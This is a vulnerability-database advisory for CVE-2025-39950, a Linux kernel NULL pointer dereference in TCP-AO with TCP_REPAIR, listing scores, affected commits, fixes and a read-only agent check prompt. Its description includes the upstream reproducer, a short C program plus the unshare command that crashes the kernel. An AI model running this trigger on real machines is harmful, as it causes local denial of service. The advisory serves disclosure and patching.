# CVE-2025-39950: net/tcp: Fix a NULL pointer dereference when using TCP-AO with TCP\_REPAIR

> Archived entry. Full-text search covers entries since 2026-11-10; exact IDs work for all years.

- **Severity:** MEDIUM 5.5
- **CVSS:** 5.5 (v3.1, NVD) `CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H`
- **CVSS metrics:** Attack vector: Local; Attack complexity: Low; Privileges required: Low; User interaction: None; Scope: Unchanged; Confidentiality impact: None; Integrity impact: None; Availability impact: High
- **Exploited in the wild:** Not in CISA KEV
- **Public exploit / PoC:** None known
- **Remote exploitation:** Not remotely exploitable (local or adjacent access needed)
- **EPSS:** 0.22% (percentile 7, 2026-11-26)
- **CWE:** CWE-476
- **Published:** 2025-10-04T07:31:10.926Z
- **Modified:** 2026-10-19T21:10:00.160Z

## Who should check

- Anyone running Linux \>= 7c2ffaf21bd67f73d21560995ce17eaf5fc1d37f, \< 5f445eb259906b61a518487a790e11d07d31738c; \>= 7c2ffaf21bd67f73d21560995ce17eaf5fc1d37f, \< 993b734d31ab804747ac961b1ee664b023c3b5fa; \>= 7c2ffaf21bd67f73d21560995ce17eaf5fc1d37f, \< 2e7bba08923ebc675b1f0e0e0959e68e53047838
- Anyone running Linux 6.7

## Description

In the Linux kernel, the following vulnerability has been resolved:

net/tcp: Fix a NULL pointer dereference when using TCP-AO with TCP\_REPAIR

A NULL pointer dereference can occur in tcp\_ao\_finish\_connect() during a
connect() system call on a socket with a TCP-AO key added and TCP\_REPAIR
enabled.

The function is called with skb being NULL and attempts to dereference it
on tcp\_hdr(skb)-\>seq without a prior skb validation.

Fix this by checking if skb is NULL before dereferencing it.

The commentary is taken from bpf\_skops\_established(), which is also called
in the same flow. Unlike the function being patched,
bpf\_skops\_established() validates the skb before dereferencing it.

int main(void){
	struct sockaddr\_in sockaddr;
	struct tcp\_ao\_add tcp\_ao;
	int sk;
	int one = 1;

	memset(&sockaddr,'\\0',sizeof(sockaddr));
	memset(&tcp\_ao,'\\0',sizeof(tcp\_ao));

	sk = socket(AF\_INET, SOCK\_STREAM, IPPROTO\_TCP);

	sockaddr.sin\_family = AF\_INET;

	memcpy(tcp\_ao.alg\_name,"cmac(aes128)",12);
	memcpy(tcp\_ao.key,"ABCDEFGHABCDEFGH",16);
	tcp\_ao.keylen = 16;

	memcpy(&tcp\_ao.addr,&sockaddr,sizeof(sockaddr));

	setsockopt(sk, IPPROTO\_TCP, TCP\_AO\_ADD\_KEY, &tcp\_ao,
	sizeof(tcp\_ao));
	setsockopt(sk, IPPROTO\_TCP, TCP\_REPAIR, &one, sizeof(one));

	sockaddr.sin\_family = AF\_INET;
	sockaddr.sin\_port = htobe16(123);

	inet\_aton("127.0.0.1", &sockaddr.sin\_addr);

	connect(sk,(struct sockaddr \*)&sockaddr,sizeof(sockaddr));

return 0;
}

$ gcc tcp-ao-nullptr.c -o tcp-ao-nullptr -Wall
$ unshare -Urn

BUG: kernel NULL pointer dereference, address: 00000000000000b6
PGD 1f648d067 P4D 1f648d067 PUD 1982e8067 PMD 0
Oops: Oops: 0000 \[\#1\] SMP NOPTI
Hardware name: VMware, Inc. VMware Virtual Platform/440BX Desktop
Reference Platform, BIOS 6.00 11/12/2020
RIP: 0010:tcp\_ao\_finish\_connect (net/ipv4/tcp\_ao.c:1182)

## Affected and fixed versions

- Linux: \>= 7c2ffaf21bd67f73d21560995ce17eaf5fc1d37f, \< 5f445eb259906b61a518487a790e11d07d31738c; \>= 7c2ffaf21bd67f73d21560995ce17eaf5fc1d37f, \< 993b734d31ab804747ac961b1ee664b023c3b5fa; \>= 7c2ffaf21bd67f73d21560995ce17eaf5fc1d37f, \< 2e7bba08923ebc675b1f0e0e0959e68e53047838 (cvelist)
- Linux: 6.7 (cvelist)

## Mitigation

- Upgrade Linux to 2e7bba08923ebc675b1f0e0e0959e68e53047838 or later.

## Check your systems with an agent

Paste this into a coding agent:

```text
Check whether anything I run is affected by CVE-2025-39950. Work read-only: do not install, upgrade, delete or change anything.

Details: https://flawdb.com/CVE-2025-39950.md
Affected: Linux >= 7c2ffaf21bd67f73d21560995ce17eaf5fc1d37f, < 5f445eb259906b61a518487a790e11d07d31738c; >= 7c2ffaf21bd67f73d21560995ce17eaf5fc1d37f, < 993b734d31ab804747ac961b1ee664b023c3b5fa; >= 7c2ffaf21bd67f73d21560995ce17eaf5fc1d37f, < 2e7bba08923ebc675b1f0e0e0959e68e53047838; Linux 6.7
Fixed in: Linux 5f445eb259906b61a518487a790e11d07d31738c, Linux 993b734d31ab804747ac961b1ee664b023c3b5fa, Linux 2e7bba08923ebc675b1f0e0e0959e68e53047838

Steps:
1. Search this machine and project for Linux: dependency manifests and lockfiles, installed packages, container images and running services.
2. For each match, note the installed version and whether it is inside the affected range.
3. Report a table: location, installed version, affected (yes / no / unsure), evidence. If affected, say which fixed version or mitigation from the details link applies, but don't apply it.
```

## FAQ

### Is CVE-2025-39950 being exploited?

There is no confirmed exploitation: CVE-2025-39950 is not in the CISA Known Exploited Vulnerabilities catalog. No public exploit code is known. EPSS estimates a 0.22% chance of exploitation in the next 30 days (as of 2026-11-26).

### How serious is CVE-2025-39950?

Medium: CVSS 5.5 (v3.1, scored by NVD). Not remotely exploitable (local or adjacent access needed).

### Which versions are affected by CVE-2025-39950?

Linux \>= 7c2ffaf21bd67f73d21560995ce17eaf5fc1d37f, \< 5f445eb259906b61a518487a790e11d07d31738c; \>= 7c2ffaf21bd67f73d21560995ce17eaf5fc1d37f, \< 993b734d31ab804747ac961b1ee664b023c3b5fa; \>= 7c2ffaf21bd67f73d21560995ce17eaf5fc1d37f, \< 2e7bba08923ebc675b1f0e0e0959e68e53047838; Linux 6.7.

### Is there a fix for CVE-2025-39950?

Yes. Fixed in Linux 5f445eb259906b61a518487a790e11d07d31738c, Linux 993b734d31ab804747ac961b1ee664b023c3b5fa, Linux 2e7bba08923ebc675b1f0e0e0959e68e53047838. Upgrade Linux to 2e7bba08923ebc675b1f0e0e0959e68e53047838 or later.

### How do I check if I'm affected by CVE-2025-39950?

Find where you use the affected software (dependency lockfiles, installed packages, container images, servers) and compare the installed version with the affected range above. The agent prompt on this page does this read-only.

## References

- patch: <https://git.kernel.org/stable/c/5f445eb259906b61a518487a790e11d07d31738c>
- patch: <https://git.kernel.org/stable/c/993b734d31ab804747ac961b1ee664b023c3b5fa>
- patch: <https://git.kernel.org/stable/c/2e7bba08923ebc675b1f0e0e0959e68e53047838>

## Attribution

- CVE Program: CVE® is a registered trademark of The MITRE Corporation. CVE records © 1999–2026 The MITRE Corporation. <https://www.cve.org/Legal/TermsOfUse>
- NVD: This product uses data from the NVD API but is not endorsed or certified by the NVD. <https://nvd.nist.gov/vuln/detail/CVE-2025-39950>

HTML: <https://flawdb.com/CVE-2025-39950> · JSON: <https://flawdb.com/api/v1/entries/CVE-2025-39950>
